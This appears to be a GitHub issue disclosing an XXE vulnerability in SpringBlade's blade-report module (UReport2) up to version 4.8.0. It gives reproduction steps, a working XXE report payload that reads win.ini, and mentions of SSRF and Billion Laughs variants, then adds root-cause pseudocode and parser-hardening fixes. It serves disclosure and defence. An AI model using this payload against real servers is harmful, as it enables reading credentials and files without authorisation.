Skip to content

XXE via Report XML Parsing in SpringBlade blade-report /ureport/designer/loadReport Endpoint #37

@Arron-bit

Description

@Arron-bit

Affected Versions

  • Product: SpringBlade (https://github.com/chillzhuang/SpringBlade)
  • Affected Component: blade-report module (UReport2 integration)
  • Affected Versions: ≤ 4.8.0 (latest version as of disclosure)
  • Affected Endpoint: POST /ureport/designer/saveReportFile (injection point), GET /ureport/designer/loadReport (trigger point)

Impact

The blade-report module uses UReport2's ReportParser to parse report XML files stored in the database. The underlying XML parser (SAXParser) does not disable external entity resolution or DOCTYPE declarations. An authenticated attacker can inject a malicious XML external entity (XXE) payload into a report file via the saveReportFile endpoint, and then trigger its parsing via the loadReport endpoint.

This leads to:

  1. Arbitrary File Read: By injecting <!ENTITY xxe SYSTEM "file:///...">, an attacker can read any file on the server that the blade-report process has permission to access (e.g., win.ini, /etc/passwd, application configuration files containing database credentials, Nacos secrets, private keys).
  2. Server-Side Request Forgery (SSRF): By injecting <!ENTITY xxe SYSTEM "http://internal-host:port/...">, an attacker can force the server to make HTTP requests to arbitrary internal or external hosts, enabling network reconnaissance.
  3. Denial of Service: By injecting recursive entity definitions (Billion Laughs attack), an attacker can exhaust server memory and cause service disruption.

Steps to Reproduce

Step 1: Upload Malicious Report XML via saveReportFile

Send the following request to inject an XXE payload into a new report file. The XML content must be double-URL-encoded (matching the designer's JavaScript encodeURIComponent behavior):

Original XML payload (before encoding):

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ureport [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<ureport>
  <cell expand="None" name="A1" row="1" col="1">
    <cell-style font-size="10" align="center" valign="middle"></cell-style>
    <simple-value><![CDATA[&xxe;]]></simple-value>
  </cell>
  <row row-number="1" height="18"/>
  <column col-number="1" width="200"/>
  <paper type="A4" left-margin="90" right-margin="90" top-margin="72" bottom-margin="72"
         paging-mode="fitpage" fixrows="0" width="595" height="842" orientation="portrait"
         html-report-align="left" bg-image="" html-interval-refresh-value="0"
         column-enabled="false"></paper>
</ureport>

The report file is saved to the MySQL database via MySQLProvider.saveReport().

Image Image

Step 2: Trigger XML Parsing via loadReport

Request the saved report through the loadReport endpoint:

Image

Result: The server parses the XML, resolves the external entity &xxe;, reads the contents of C:\Windows\win.ini from the server filesystem, and returns the report XML with the file contents embedded in the <simple-value> cell of the response.

Step 3: Verify File Contents in Response

The response body contains the parsed report XML. The cell A1's value now contains the contents of the target file:

Image

This confirms successful arbitrary file read via XXE.

Root Cause Analysis

The vulnerability exists in UReport2's ReportParser class, which is responsible for parsing report XML files loaded from storage providers. The XML parser is instantiated without disabling external entity resolution or DOCTYPE declarations:

// Pseudocode reconstructed from UReport2 ReportParser (ureport2-core)
public class ReportParser {

    public ReportDefinition parse(InputStream inputStream) {
        try {
            // VULNERABILITY: SAXParserFactory created with default settings
            // External entities and DOCTYPE declarations are ENABLED by default
            SAXParserFactory factory = SAXParserFactory.newInstance();

            // Missing security hardening:
            // factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            // factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
            // factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

            SAXParser parser = factory.newSAXParser();
            ReportParserHandler handler = new ReportParserHandler();

            // XML is parsed here — external entities are resolved automatically
            // If the XML contains <!ENTITY xxe SYSTEM "file:///etc/passwd">,
            // the parser will read the file and substitute its contents into the document
            parser.parse(inputStream, handler);

            return handler.getReportDefinition();
        } catch (Exception e) {
            throw new ReportException(e);
        }
    }
}

The attack chain works as follows:

  1. Injection: Attacker calls saveReportFile with XML containing a malicious DOCTYPE and entity declaration. The DesignerServletAction receives the content parameter, URL-decodes it, and passes it to MySQLProvider.saveReport(), which stores the raw XML string in the database without any sanitization.
// DesignerServletAction.saveReportFile() - pseudocode
public void saveReportFile(HttpServletRequest req, HttpServletResponse resp) {
    String file = req.getParameter("file");
    String content = req.getParameter("content");
    content = URLDecoder.decode(content, "UTF-8");  // Decode to raw XML

    // No XML validation, no DOCTYPE stripping, no entity checks
    // Raw XML (including malicious DOCTYPE) is stored directly
    reportProvider.saveReport(file, content);
}
  1. Trigger: Attacker calls loadReport, which retrieves the XML from the database and passes it to ReportParser.parse(). The SAXParser resolves all external entities during parsing, causing the server to read local files or make outbound HTTP requests.
  2. Exfiltration: The resolved entity content (file data) is embedded in the parsed report structure and returned to the attacker in the response body.

Remediation

Immediate Mitigation

  1. Disable the designer in production: If report design functionality is not needed in production, block access to all /ureport/designer/* endpoints at the gateway or web filter level.

Code-Level Fixes

  1. Disable external entities in the XML parser: Configure SAXParserFactory to reject DOCTYPE declarations and external entities before parsing any report XML:
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
  1. Sanitize XML content on save: Before storing report XML, validate that it does not contain DOCTYPE declarations or entity definitions. Reject or strip any XML content containing <!DOCTYPE, <!ENTITY, or SYSTEM keywords.
  2. Upgrade UReport2 or migrate: UReport2 has been unmaintained since 2019 (last release: v2.2.9) and contains multiple known vulnerabilities beyond XXE (SSRF, arbitrary SQL execution, class loading). Consider migrating to an actively maintained reporting engine.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions